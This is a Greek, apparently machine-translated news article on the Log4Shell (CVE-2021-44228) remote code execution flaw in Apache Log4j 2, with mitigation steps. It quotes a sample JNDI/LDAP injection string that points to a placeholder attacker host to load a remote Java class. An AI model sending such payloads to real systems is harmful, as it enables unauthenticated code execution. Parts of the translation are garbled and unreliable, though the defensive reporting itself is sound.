Log4Shell, μια κρίσιμη ευπάθεια στο Apache Log4j 2 που επηρεάζει πολλά έργα Java

Πρόσφατα sΤο e δημοσίευσε την είδηση ​​ότι εντοπίστηκε μια κρίσιμη ευπάθεια στο Apache Log4j 2, το οποίο χαρακτηρίζεται ως ένα δημοφιλές πλαίσιο για την οργάνωση του μητρώου σε εφαρμογές Java, επιτρέποντας την εκτέλεση αυθαίρετου κώδικα όταν μια ειδικά διαμορφωμένη τιμή γράφεται στο μητρώο με τη μορφή "{jndi: URL}".

Τρωτό Είναι αξιοσημείωτο γιατί η επίθεση μπορεί να πραγματοποιηθεί σε εφαρμογές Java πουΚαταγράφουν τιμές που λαμβάνονται από εξωτερικές πηγές, για παράδειγμα εμφανίζοντας προβληματικές τιμές σε μηνύματα σφάλματος.

Παρατηρείται ότι επηρεάζονται σχεδόν όλα τα έργα που χρησιμοποιούν πλαίσια όπως το Apache Struts, το Apache Solr, το Apache Druid ή το Apache Flink, συμπεριλαμβανομένων των πελατών και διακομιστών Steam, Apple iCloud, Minecraft.

Η ευπάθεια αναμένεται να οδηγήσει σε ένα κύμα μαζικών επιθέσεων σε εταιρικές εφαρμογές, επαναλαμβάνοντας την ιστορία των κρίσιμων τρωτών σημείων στο πλαίσιο, Apache Struts, η οποία είναι μια χονδρική εκτίμηση που χρησιμοποιείται στο 65% των διαδικτυακών εφαρμογών του Fortune 100. Κατάλογος των διαδικτυακών εφαρμογών της εταιρείας περιλάμβανε ήδη καταγεγραμμένες προσπάθειες για σάρωση του δικτύου για ευάλωτα συστήματα.

Η ευπάθεια επιτρέπει την απομακρυσμένη εκτέλεση κώδικα χωρίς έλεγχο ταυτότητας. Το Log4j 2 είναι μια βιβλιοθήκη αρχείων καταγραφής Java ανοιχτού κώδικα που αναπτύχθηκε από το Ίδρυμα Apache. Το Log4j 2 χρησιμοποιείται ευρέως σε πολλές εφαρμογές και υπάρχει, ως εξάρτηση, σε πολλές υπηρεσίες. Αυτές περιλαμβάνουν επιχειρηματικές εφαρμογές καθώς και πολλές υπηρεσίες cloud.

Η ομάδα επίθεσης Randori έχει αναπτύξει μια λειτουργική εκμετάλλευση και μπόρεσε να εκμεταλλευτεί με επιτυχία αυτήν την ευπάθεια σε περιβάλλοντα πελατών ως μέρος της επιθετικής μας πλατφόρμας ασφαλείας. 

Η πρόσβαση στην ευπάθεια είναι δυνατή μέσω πολλών μεθόδων για συγκεκριμένες εφαρμογές. Πράγματι, κάθε σενάριο που επιτρέπει σε μια απομακρυσμένη σύνδεση να παρέχει αυθαίρετα δεδομένα που μια εφαρμογή που χρησιμοποιεί τη βιβλιοθήκη Log4j εγγράφει σε αρχεία καταγραφής είναι επιρρεπής σε εκμετάλλευση. Αυτή η ευπάθεια είναι πολύ πιθανό να γίνει αντικείμενο εκμετάλλευσης στη φύση και είναι πιθανό να επηρεάσει χιλιάδες οργανισμούς. Αυτή η ευπάθεια αντιπροσωπεύει σημαντικό πραγματικό κίνδυνο για τα επηρεαζόμενα συστήματα.

Το πρόβλημα επιδεινώνεται από το γεγονός ότι έχει ήδη δημοσιευτεί ένα λειτουργικό exploit, π.χ.Αλλά διορθώσεις για σταθερούς κλάδους δεν έχουν δημιουργηθεί ακόμη. Το αναγνωριστικό CVE δεν έχει ακόμη εκχωρηθεί. Η λύση περιλαμβάνεται μόνο στον κλάδο δοκιμής log4j-2.15.0-rc1. Ως λύση για τον αποκλεισμό της ευπάθειας, συνιστάται να ορίσετε την παράμετρο Log4j2.formatMsgNoLookups σε true.

το πρόβλημα οφειλόταν στο γεγονός ότι το Log4j 2 υποστηρίζει τον χειρισμό ειδικών μασκών «{}» σε γραμμές καταγραφής, στο οποίο Τα ερωτήματα JNDI μπορούν να εκτελεστούν (Ονομασία Java και διεπαφή καταλόγου).

Κατά την ανάλυση του CVE-2021-44228, ο Randori έχει καθορίσει τα ακόλουθα:

Οι προεπιλεγμένες εγκαταστάσεις ευρέως χρησιμοποιούμενου επιχειρηματικού λογισμικού είναι ευάλωτες.
Η ευπάθεια μπορεί να αξιοποιηθεί αξιόπιστα και χωρίς έλεγχο ταυτότητας.
Η ευπάθεια επηρεάζει πολλές εκδόσεις του Log4j 2.
Η ευπάθεια επιτρέπει την απομακρυσμένη εκτέλεση κώδικα όταν ο χρήστης εκτελεί την εφαρμογή χρησιμοποιώντας τη βιβλιοθήκη.

Η επίθεση καταλήγει στο πέρασμα μιας συμβολοσειράς με την αντικατάσταση "$ {jndi: ldap: //example.com/a}", η επεξεργασία της οποίας Log4j 2 θα στείλει ένα αίτημα LDAP για τη διαδρομή προς την κλάση Java στον διακομιστή attacker.com . Η διαδρομή που επιστρέφεται από τον διακομιστή του εισβολέα (για παράδειγμα, http://example.com/Exploit.class) θα φορτωθεί και θα εκτελεστεί στο πλαίσιο της τρέχουσας διαδικασίας, επιτρέποντας στον εισβολέα να επιτύχει αυθαίρετη εκτέλεση κώδικα στο σύστημα με τα δικαιώματα της τρέχουσας εφαρμογής.

Τέλος, αναφέρεται ότι εάν εντοπιστούν ανωμαλίες, συνιστάται να υποθέσετε ότι πρόκειται για ενεργό περιστατικό, ότι έχει παραβιαστεί και να απαντήσετε ανάλογα. Η αναβάθμιση σε ενημερωμένες εκδόσεις του Log4j 2 ή εφαρμογών που επηρεάζονται θα εξαλείψει αυτήν την ευπάθεια. Η Randori συνιστά οποιονδήποτε οργανισμό πιστεύει ότι μπορεί να επηρεαστεί να αναβαθμίσει επειγόντως σε μια επιδιορθωμένη έκδοση.

Στην τελευταία ενημέρωση από την ομάδα Apache Log4j, προτείνουμε στους οργανισμούς να κάνουν τα εξής

  • Ενημέρωση στο Log4j 2.15.0
  • Για όσους δεν μπορούν να κάνουν αναβάθμιση σε 2.15.0: Σε εκδόσεις> = 2.10, αυτή η ευπάθεια μπορεί να μετριαστεί ορίζοντας την ιδιότητα συστήματος log4j2.formatMsgNoLookup ή τη μεταβλητή περιβάλλοντος LOG4J_FORMAT_MSG_NO_LOOKUPS σε true.
  • Για τις εκδόσεις 2,0-beta9 έως 2.10.0, ο μετριασμός είναι η κατάργηση της κλάσης JndiLookup από τη διαδρομή κλάσης: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

πηγή: https://www.lunasec.io/


Αφήστε το σχόλιό σας

Η διεύθυνση email σας δεν θα δημοσιευθεί. Τα υποχρεωτικά πεδία σημειώνονται με *

*

*

  1. Υπεύθυνος για τα δεδομένα: Miguel Ángel Gatón
  2. Σκοπός των δεδομένων: Έλεγχος SPAM, διαχείριση σχολίων.
  3. Νομιμοποίηση: Η συγκατάθεσή σας
  4. Κοινοποίηση των δεδομένων: Τα δεδομένα δεν θα κοινοποιούνται σε τρίτους, εκτός από νομική υποχρέωση.
  5. Αποθήκευση δεδομένων: Βάση δεδομένων που φιλοξενείται από τα δίκτυα Occentus (ΕΕ)
  6. Δικαιώματα: Ανά πάσα στιγμή μπορείτε να περιορίσετε, να ανακτήσετε και να διαγράψετε τις πληροφορίες σας.